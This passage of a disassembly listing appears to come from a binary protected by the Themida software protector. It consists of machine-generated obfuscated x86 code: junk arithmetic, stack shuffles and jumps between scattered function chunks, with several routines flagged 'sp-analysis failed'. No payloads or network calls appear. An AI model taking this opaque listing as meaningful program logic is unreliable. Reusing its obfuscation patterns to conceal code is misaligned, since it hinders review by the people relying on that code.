loc_570EAE: ; CODE XREF: sub_574FC9-D4BAj
add ebx, 3FADAB44h
push ebx
pop edx
mov ebx, [esp+0Ch+var_C]
add esp, 4
add edx, 0C289AEB8h
mov ecx, edx
pop edx
sub esi, 4E6057D7h
add esi, ecx
push eax
mov eax, 28BF7674h
push edx
mov edx, 25A0E163h
add eax, edx
pop edx
jmp loc_56E755
; END OF FUNCTION CHUNK FOR sub_574FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_570EE1: ; CODE XREF: sub_57354D-12E48j
pop ebx
push ebp
jmp loc_562F88
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
loc_570EE8: ; CODE XREF: Themida_:0056A963j
pop edi
not esi
push ebp
mov ebp, 2DAB1ADAh
jmp loc_561A6B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564686
loc_570EF6: ; CODE XREF: sub_564686+6j
mov [esp+4+var_4], ebp
jmp loc_565901
; END OF FUNCTION CHUNK FOR sub_564686
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5634AF
loc_570EFE: ; CODE XREF: sub_5634AF+D8F3j
sub ebp, 4
xchg ebp, [esp+0]
pop esp
mov [esp+0], ecx
push esi
push ebp
jmp loc_56557F
; END OF FUNCTION CHUNK FOR sub_5634AF
; =============== S U B R O U T I N E =======================================
sub_570F0F proc near ; CODE XREF: sub_56AEF2-A953j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560402 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056A408 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056E3DB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056E400 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0056F9A9 SIZE 0000000C BYTES
sub esp, 4
mov [esp+4+var_4], ebx
push 4AECh
mov [esp+8+var_8], edx
jmp loc_56E400
sub_570F0F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A84
loc_570F25: ; CODE XREF: sub_569A84-FB0j
mov [esp+4+var_4], edi
mov edi, 4
add ebx, edi
mov edi, [esp+4+var_4]
push eax
mov eax, esp
add eax, 4
push edi
mov edi, 4
add eax, edi
pop edi
xchg eax, [esp+8+var_8]
pop esp
push edx
sub esp, 4
mov [esp+0Ch+var_C], eax
mov eax, 5ED46F9Fh
jmp loc_564EE9
; END OF FUNCTION CHUNK FOR sub_569A84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A119
loc_570F5B: ; CODE XREF: sub_56A119+7057j
pop ebx
push edi
mov edi, esp
jmp loc_56FC95
; END OF FUNCTION CHUNK FOR sub_56A119
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_570F64: ; CODE XREF: sub_564D26-1AF3j
push ecx
push 4946h
mov [esp+1Ch+var_1C], edx
push 58Dh
jmp loc_560AF7
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57199D
loc_570F77: ; CODE XREF: sub_57199D+3j
add ebx, 4
jmp loc_57049D
; END OF FUNCTION CHUNK FOR sub_57199D
; =============== S U B R O U T I N E =======================================
sub_570F82 proc near ; CODE XREF: sub_5735AA-CD78j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056F7F2 SIZE 0000000C BYTES
sub esp, 4
mov [esp+4+var_4], edi
jmp loc_56F7F2
sub_570F82 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_570F8D: ; CODE XREF: sub_5678CB+3CEj
push [esp+4+var_4]
pop ecx
add esp, 4
dec dl
or dl, 1Eh
push esi
mov esi, esp
push ebp
mov ebp, 306140E8h
or ebp, 4297637Eh
or ebp, 64652738h
push ebx
jmp loc_563E19
; END OF FUNCTION CHUNK FOR sub_5678CB
; =============== S U B R O U T I N E =======================================
sub_570FB7 proc near ; CODE XREF: sub_574304-B7B4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005605F5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00564082 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056571C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00565F2C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056BA40 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056C458 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056D987 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056DB7E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056E385 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F507 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00571233 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005715A7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0057369F SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005749BA SIZE 00000009 BYTES
sub esp, 4
mov [esp+8+var_8], esi
xor [esp+8+var_8], 418D31C3h
pop ebx
xor ebx, 418D31C3h
pop esi
jmp loc_565F2C
sub_570FB7 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C4FF
loc_570FD1: ; CODE XREF: sub_56C4FF+3049j
inc dword ptr [esp+0]
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56C4FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_570FDA: ; CODE XREF: sub_56B11B+309j
mov [esp+8+var_8], edx
mov edx, esp
add edx, 4
sub esp, 4
mov [esp+0Ch+var_C], eax
mov eax, 4
jmp loc_56403B
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5653AD
loc_570FF5: ; CODE XREF: sub_5653AD+4DEj
xor edx, edi
pop edi
xor edx, 0AFC7B217h
jmp loc_561A1A
; END OF FUNCTION CHUNK FOR sub_5653AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_571003: ; CODE XREF: sub_56616D+E409j
push esi
mov esi, esp
jmp loc_57347C
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_57100B: ; CODE XREF: sub_560EA2-C6j
pop ebx
jmp loc_572B46
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C83
loc_571011: ; CODE XREF: sub_566C83+2706j
add esp, 4
sub eax, ebp
mov ebp, [esp+0]
add esp, 4
sub esp, 4
mov [esp+0], ecx
push 134F459Eh
pop ecx
push ebx
push 5F9E00CDh
mov ebx, [esp+0]
sub esp, 4
mov [esp+4+var_4], edx
jmp loc_572C7C
; END OF FUNCTION CHUNK FOR sub_566C83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5726BB
loc_57103F: ; CODE XREF: sub_5726BB-AE6Aj
pop esp
push eax
mov eax, 2
push edi
mov edi, 41C54EF1h
dec edi
shr edi, 3
jmp loc_57473A
; END OF FUNCTION CHUNK FOR sub_5726BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_571055: ; CODE XREF: sub_564D26+D61Ej
pop edi
jmp loc_57210B
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CF5
loc_57105B: ; CODE XREF: sub_567CF5+56E0j
sub edx, 2D615C1Eh
mov ebp, [esp+8+var_8]
add esp, 4
jmp loc_565ADD
; END OF FUNCTION CHUNK FOR sub_567CF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C3E2
loc_57106C: ; CODE XREF: sub_56C3E2+223Aj
add ebx, 0FFFFFFFFh
inc ebx
shl ebx, 8
sub ebx, 128B3DD9h
sub ebp, ebx
pop ebx
jmp loc_56219D
; END OF FUNCTION CHUNK FOR sub_56C3E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0B0
loc_571081: ; CODE XREF: sub_56E0B0-BDBCj
pop ecx
pop ebp
jmp sub_573167
; END OF FUNCTION CHUNK FOR sub_56E0B0
; =============== S U B R O U T I N E =======================================
sub_571088 proc near ; CODE XREF: sub_5729F9-E67Fj
var_E = dword ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 4
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00560446 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00560738 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00560FDF SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00562289 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562F6A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564134 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056423D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00565713 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00565EA5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00565ECF SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005665AF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00566A1A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00566BFE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00566DE6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005672A6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00567B96 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005681C8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056843A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005688B9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00569800 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A6B0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056AB74 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056AEB7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056B19C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056EB60 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056EE69 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056F0EB SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056F318 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056F395 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056F878 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00570153 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 005708A0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00570B5F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00571FB5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057245A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057281E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00573150 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00573B54 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00574BC4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00574C42 SIZE 00000025 BYTES
push bx
mov bl, 0D2h
add al, bl
pop bx
add al, 0D5h
add al, 75h
push [esp+2+var_4+2]
mov ebx, [esp+6+var_8+2]
jmp loc_56AEB7
sub_571088 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_57109F proc near ; DATA XREF: Themida_:0055FEC0o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005601A2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056A338 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056B0D4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056B881 SIZE 00000057 BYTES
; FUNCTION CHUNK AT 0056D5CD SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005720EF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00573ABF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00573E4B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005741E8 SIZE 00000018 BYTES
push 1FDEh
mov [esp+4+var_4], esi
jmp loc_56D5CD
sub_57109F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_5710AC: ; CODE XREF: sub_568764-351Bj
push esi
mov esi, 4
add ebp, esi
jmp loc_56A6CB
; END OF FUNCTION CHUNK FOR sub_568764
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_5710B9: ; CODE XREF: sub_574304+B35j
mov edx, ebp
pop ebp
xor esi, edx
jmp loc_56395A
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564CDA
loc_5710C3: ; CODE XREF: sub_564CDA+1Cj
add eax, edx
mov edx, [esp-4+arg_0]
add esp, 4
sub eax, 4
xchg eax, [esp-8+arg_4]
pop esp
mov [esp+0], eax
mov eax, 3FD319C6h
jmp loc_56F61F
; END OF FUNCTION CHUNK FOR sub_564CDA
; ---------------------------------------------------------------------------
loc_5710E1: ; CODE XREF: Themida_:0056E21Bj
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], edx
push eax
pushf
jmp loc_56E5D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_5710F7: ; CODE XREF: sub_56638C-55E3j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56638C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_5710FC: ; CODE XREF: sub_5620B7+3D3Cj
dec al
xor al, 0B8h
mov dh, al
pop eax
jmp loc_56A82B
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561F05
loc_571108: ; CODE XREF: sub_561F05+98E6j
pop eax
add ebp, esi
pop esi
add ebp, esi
sub ebp, 597361B3h
pop esi
sub ebp, 4
xchg ebp, [esp+4+var_4]
pop esp
mov [esp+0], esi
mov esi, esp
push 3497h
mov [esp+4+var_4], edx
push eax
mov eax, 50E64775h
add eax, 2915283Fh
xor eax, 4FA8128Bh
dec eax
xor eax, 499E11D3h
add eax, 80329317h
mov edx, eax
jmp loc_56F48C
; END OF FUNCTION CHUNK FOR sub_561F05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_57114E: ; CODE XREF: sub_56B06D-2119j
mov ebp, esp
add ebp, 4
add ebp, 4
push ebp
push [esp+24h+var_20]
mov ebp, [esp+0]
add esp, 4
pop [esp+24h+var_24]
pop esp
jmp loc_569C7B
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A119
loc_57116D: ; CODE XREF: sub_56A119+7A4j
push dword ptr [esp+0]
jmp loc_570F5B
; END OF FUNCTION CHUNK FOR sub_56A119
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5634AF
loc_571175: ; CODE XREF: sub_5634AF+5DFBj
push eax
jmp loc_562CA5
; END OF FUNCTION CHUNK FOR sub_5634AF
; =============== S U B R O U T I N E =======================================
sub_57117B proc near ; CODE XREF: sub_569E1B-148Ej
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005657EA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0057148F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571ABE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005730A7 SIZE 00000033 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
mov bl, 0E2h
add bl, 0D0h
add al, bl
jmp loc_5730A7
sub_57117B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_57118D: ; CODE XREF: sub_57354D-1934j
add ecx, 4
xchg ecx, [esp+10h+var_10]
mov esp, [esp+10h+var_10]
pop [esp+4+var_4]
jmp loc_569C1D
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563ADF
loc_5711A1: ; CODE XREF: sub_563ADF+Ej
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+8+var_8]
jmp loc_5739A9
; END OF FUNCTION CHUNK FOR sub_563ADF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A84
loc_5711B7: ; CODE XREF: sub_569A84-6241j
sub eax, 18F71FDCh
jmp loc_56BD80
; END OF FUNCTION CHUNK FOR sub_569A84
; ---------------------------------------------------------------------------
loc_5711C1: ; DATA XREF: Themida_:0055FCD8o
mov cx, [esp]
push 278Dh
jmp loc_56FAB9
; ---------------------------------------------------------------------------
loc_5711CF: ; CODE XREF: Themida_:00562F4Dj
xor edi, edx
jmp loc_56B194
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A016
loc_5711D6: ; CODE XREF: sub_56A016+43E5j
pop ebx
push 16F8h
mov [esp-4+arg_0], ebx
mov ebx, esp
push ecx
jmp loc_567EA2
; END OF FUNCTION CHUNK FOR sub_56A016
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_5711E7: ; CODE XREF: sub_571F6F-E73Dj
sub ch, ah
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+14h+var_14]
pop esp
push cx
not byte ptr [esp+12h+var_14+3]
pop cx
shr ch, 5
sub esp, 4
mov [esp+14h+var_14], edx
mov dl, 70h
or dl, 0EEh
sub dl, 2Dh
push ax
mov ah, 35h
jmp loc_572628
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_571221: ; CODE XREF: sub_56628B+1452j
push 5BB1h
mov [esp+10h+var_10], edx
mov edx, 0FE7088Bh
jmp loc_56FD0F
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570FB7
loc_571233: ; CODE XREF: sub_570FB7-CF31j
push 607D5FCCh
pop eax
jmp loc_56F507
; END OF FUNCTION CHUNK FOR sub_570FB7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5610CE
loc_57123E: ; CODE XREF: sub_5610CE+3FF0j
mov ecx, 522DE6D8h
add ecx, edx
jmp loc_56F379
; END OF FUNCTION CHUNK FOR sub_5610CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_57124A: ; CODE XREF: sub_5685B2-5B37j
push 0
jmp loc_56D9AA
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572E16
loc_571254: ; CODE XREF: sub_572E16-B2F2j
push esi
mov esi, esp
jmp loc_56553A
; END OF FUNCTION CHUNK FOR sub_572E16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C0A
loc_57125C: ; CODE XREF: sub_571C0A-11623j
xor [esp+0], eax
xor eax, [esp+0]
mov esp, [esp+0]
jmp loc_566BD8
; END OF FUNCTION CHUNK FOR sub_571C0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DAB2
loc_57126A: ; CODE XREF: sub_56DAB2-7508j
add eax, 42270DB1h
push ecx
mov ecx, 314D2FB5h
sub ecx, 75E659B0h
sub ecx, 4D5D5BE3h
shr ecx, 8
jmp loc_564051
; END OF FUNCTION CHUNK FOR sub_56DAB2
; =============== S U B R O U T I N E =======================================
sub_571289 proc near ; CODE XREF: sub_5736FA-E5EDj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056046F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00561D95 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005628DF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00568D69 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005696FE SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056A3BB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BA12 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C7F1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056CD7A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F080 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00570E38 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00572462 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005725D6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573513 SIZE 00000019 BYTES
sub esp, 4
mov [esp+0], ecx
jmp loc_570E38
sub_571289 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_571294: ; CODE XREF: sub_574656-B414j
and eax, edi
mov edi, [esp+0]
add esp, 4
xor eax, 114082h
push 451Fh
mov [esp+0], eax
push ebx
mov ebx, 288D37A7h
add dword ptr [esp+4], 5EDC7FDCh
add [esp+4], ebx
jmp loc_56451C
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_5712C3: ; CODE XREF: sub_56616D-39A4j
push 4C95h
mov [esp-4+arg_0], ecx
push esi
mov esi, 191D3D5Dh
mov ecx, esi
jmp loc_561298
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
loc_5712D8: ; CODE XREF: Themida_:0056FCBFj
mov ebx, 0D0780520h
jmp loc_56A273
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5609A1
loc_5712E2: ; CODE XREF: sub_5609A1+131D7j
mov bl, al
mov [edx], bl
jmp loc_56CC03
; END OF FUNCTION CHUNK FOR sub_5609A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_5712EB: ; CODE XREF: sub_5673C3+58BAj
inc eax
dec eax
neg eax
xor eax, ebx
xor ebx, eax
xor eax, ebx
jmp loc_566125
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
loc_5712FA: ; CODE XREF: Themida_:0057466Dj
xchg ecx, [esp]
mov esp, [esp]
mov ax, [esp]
push 1415h
mov [esp], ebp
push 2258h
mov [esp], esp
jmp loc_5701EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_571319: ; CODE XREF: sub_56CC46+2D0j
pop ebx
xchg esi, [esp+0Ch+var_C]
jmp loc_565BFA
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567866
loc_571322: ; CODE XREF: sub_567866+4j
push 208Ch
mov [esp+4+var_4], eax
sub esp, 4
push esp
pop [esp+0Ch+var_C]
add [esp+8+var_8], 4
push [esp+8+var_8]
mov eax, [esp+0Ch+var_C]
add esp, 4
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
push edi
mov edi, 4
add eax, 5F067FEh
add eax, edi
jmp loc_56B8FB
; END OF FUNCTION CHUNK FOR sub_567866
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_57136E: ; CODE XREF: sub_5678CB+86BAj
xor eax, edi
pop edi
push ebp
mov ebp, 7EFF61E7h
push 4BC5h
mov [esp], edi
mov edi, 1D0C6B59h
xor ebp, edi
pop edi
sub edi, ebp
jmp loc_57252D
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D72
loc_57138E: ; CODE XREF: sub_567D72-3790j
xor [esp+8+var_8], eax
xor eax, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ecx
sub esp, 4
push esp
pop [esp+0Ch+var_C]
jmp loc_5613F9
; END OF FUNCTION CHUNK FOR sub_567D72
; =============== S U B R O U T I N E =======================================
sub_5713A7 proc near ; DATA XREF: Themida_:0055FDB4o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 005618F3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00561DB1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00562CAE SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00564D6B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005654AE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005656F5 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00566C09 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566D1B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056782E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569762 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005697C7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056A6D7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056B4EC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056CC2D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056D244 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056F18F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056F520 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056FA23 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00571CA7 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00572065 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005720DA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005728D0 SIZE 0000000E BYTES
push edx
mov edx, 3Ch
push 4A0Bh
mov [esp+8+var_8], eax
mov eax, 144A11F8h
inc eax
or eax, 7D683644h
xor eax, 1000DB7h
shr eax, 8
xor eax, 9B16363h
add edx, eax
pop eax
sub esp, 4
mov [esp+8+var_8], eax
jmp loc_5654AE
sub_5713A7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_5713DE: ; CODE XREF: sub_561027+68DEj
mov edi, 38755226h
add edi, 48367338h
jmp loc_571B3F
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567049
loc_5713EE: ; CODE XREF: sub_567049+20F0j
pop edx
xchg ebx, ebp
xor [esp+0], ebp
xor ebp, [esp+0]
jmp loc_565A87
; END OF FUNCTION CHUNK FOR sub_567049
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA36
loc_5713FC: ; CODE XREF: sub_56DA36-3E54j
pop ebp
sub edi, ecx
pop ecx
mov ebp, [esp+0]
jmp loc_560BB1
; END OF FUNCTION CHUNK FOR sub_56DA36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569B75
loc_571408: ; CODE XREF: sub_569B75-61F3j
mov eax, ebp
pop ebp
and eax, 19D938F2h
jmp loc_5673FB
; END OF FUNCTION CHUNK FOR sub_569B75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DBD1
loc_571415: ; CODE XREF: sub_56DBD1-258Aj
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+8+var_8]
pop esp
push [esp+4+var_4]
pop eax
jmp loc_562388
; END OF FUNCTION CHUNK FOR sub_56DBD1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_57142E: ; CODE XREF: sub_574304-DCE2j
mov [esp+0], ebx
push esi
jmp loc_568B4B
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
loc_571437: ; CODE XREF: Themida_:0057350Ej
mov edx, esp
add edx, 4
jmp loc_56841C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_571444: ; CODE XREF: sub_5604FE+14B9Aj
mov esi, ebx
pop ebx
inc esi
or esi, 1179456Fh
inc esi
shl esi, 6
neg esi
sub esi, 0A1ADFFFCh
add ecx, esi
mov esi, [esp+8+var_8]
push ebx
push esp
jmp loc_563C94
; END OF FUNCTION CHUNK FOR sub_5604FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569DB5
loc_571466: ; CODE XREF: sub_569DB5+81C8j
push esp
pop ecx
jmp loc_566BF2
; END OF FUNCTION CHUNK FOR sub_569DB5
; =============== S U B R O U T I N E =======================================
sub_57146D proc near ; DATA XREF: Themida_:0055FEF0o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 4
; FUNCTION CHUNK AT 005602FC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561968 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00562FCD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005641E5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00564B37 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00565823 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00565B5B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005679C6 SIZE 00000010 BYTES
